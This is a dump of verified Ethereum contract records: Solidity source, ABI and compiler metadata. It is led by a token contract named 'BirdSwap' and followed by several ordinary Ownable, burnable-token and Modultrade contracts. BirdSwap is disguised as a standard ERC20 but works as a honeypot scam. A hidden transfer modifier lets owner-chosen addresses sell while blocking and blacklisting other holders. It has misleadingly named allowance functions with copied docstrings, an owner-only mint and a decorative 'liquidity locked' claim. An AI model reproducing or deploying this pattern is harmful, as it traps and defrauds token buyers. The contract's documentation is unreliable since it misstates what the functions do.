uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BirdSwap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
// LIQUIDITY LOCKED FOR 6 MONTHS IN THE LIQUIDITY POOL
string public constant beneficiary = "0x64f7c03b791f47F9bee4E8e791aD19f12961B902";
// Liquidity lock
string private constant _lockedtime = '262800 > 6'; // Lock time in minutes. 262800 minutes = 6 months.
uint256 public constant releaseTime = 6; // Locked liquidity for 6 months.
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beneficiary","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"approvecount","type":"uint256"},{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | false | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000098968000000000000000000000000064f7c03b791f47f9bee4e8e791ad19f12961b9020000000000000000000000000000000000000000000000000000000000000008426972645377617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044249524400000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://abb4624d6ab6442860decd15c850dcc3d982f8fedd718c3efc36ec3c4f41fca8 |
||
Token | openzeppelin-solidity/contracts/ownership/Ownable.sol | 0x6381f4c1c90921b3bae6816bc4affcaa26d559ec | Solidity | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
} | 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Token | openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol | 0x6381f4c1c90921b3bae6816bc4affcaa26d559ec | Solidity | /**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Token is MintableToken, BurnableToken, Refundable {
string public version = "1.1";
string public name;
string public symbol;
uint8 public decimals;
bool public mintable;
bool public burnable;
string public memo;
uint256 public initSupply;
bool public canBurn;
constructor(
address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals,
bool _mintable, bool _burnable, string _memo
) public {
require(_owner != address(0));
owner = _owner;
name = _name;
symbol = _symbol;
initSupply = _initSupply;
decimals = _decimals;
mintable = _mintable;
burnable = _burnable;
memo = _memo;
canBurn = burnable;
uint256 amount = _initSupply;
totalSupply_ = totalSupply_.add(amount);
balances[owner] = balances[owner].add(amount);
emit Transfer(address(0), owner, amount);
if (!_mintable) {
mintingFinished = true;
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(canBurn);
BurnableToken.burn(_value);
}
function ownerSetCanBurn(bool _canBurn) onlyOwner public {
canBurn = _canBurn;
}
} | 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ModultradeProposal | contracts/ERC20.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | /*
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// ERC223
contract ContractReceiver {
function tokenFallback(address from, uint value) public;
} | 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ModultradeProposal | contracts/Ownable.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | /*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() public { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | 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ModultradeProposal | contracts/Deployer.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | contract Deployer {
address public deployer;
function Deployer() public { deployer = msg.sender; }
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
} | 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| v0.4.18+commit.9cf6e910 | true | 200 | 00000000000000000000000074cebf05e472afb012896a9dafc3ce057233136f0000000000000000000000002acd7397615850f401ea16eb508ef59eac65f2a20000000000000000000000001e49ff77c355a3e38d6651ce8404af0e48c5395f | Default | false | bzzr://b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a83 |
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ModultradeProposal | contracts/OracleOwnable.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | contract OracleOwnable is Ownable {
address public oracle;
modifier onlyOracle() {
require(msg.sender == oracle);
_;
}
modifier onlyOracleOrOwner() {
require(msg.sender == oracle || msg.sender == owner);
_;
}
function setOracle(address newOracle) public onlyOracleOrOwner {
if (newOracle != address(0)) {
oracle = newOracle;
}
}
} | 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ModultradeProposal | contracts/ModultradeLibrary.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | library ModultradeLibrary {
enum Currencies {
ETH, MTR
}
enum ProposalStates {
Created, Paid, Delivery, Closed, Canceled
}
} | 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| v0.4.18+commit.9cf6e910 | true | 200 | 00000000000000000000000074cebf05e472afb012896a9dafc3ce057233136f0000000000000000000000002acd7397615850f401ea16eb508ef59eac65f2a20000000000000000000000001e49ff77c355a3e38d6651ce8404af0e48c5395f | Default | false | bzzr://b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a83 |
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ModultradeProposal | contracts/ModultradeStorage.sol | 0x633d2fc4e22e73b84a0aeecfb0d6e8e0faa0f7de | Solidity | contract ModultradeStorage is Ownable, Deployer {
bool private _doMigrate = true;
mapping (address => address[]) public sellerProposals;
mapping (uint => address) public proposalListAddress;
address[] public proposals;
event InsertProposalEvent (address _proposal, uint _id, address _seller);
event PaidProposalEvent (address _proposal, uint _id);
